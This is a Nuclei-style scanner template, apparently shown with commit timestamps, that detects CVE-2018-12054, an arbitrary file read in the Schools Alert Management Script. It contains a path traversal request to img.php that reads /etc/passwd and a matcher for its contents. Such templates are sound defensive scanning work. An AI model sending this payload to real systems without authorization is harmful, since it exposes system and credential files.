2021-10-18 13:04:38 +00:00
id : CVE-2018-12054
info :
name : Schools Alert Management Script - Arbitrary File Read
author : wisnupramoedya
severity : high
description : Arbitrary File Read exists in PHP Scripts Mall Schools Alert Management Script via the f parameter in img.php, aka absolute path traversal.
reference :
- https://www.exploit-db.com/exploits/44874
- https://www.cvedetails.com/cve/CVE-2018-12054
tags : cve,cve2018,lfi
2021-10-18 15:14:58 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.50
cve-id : CVE-2018-12054
cwe-id : CWE-22
2021-10-18 13:04:38 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/img.php?f=/./etc/./passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-10-18 13:04:38 +00:00
- type : status
status :
- 200
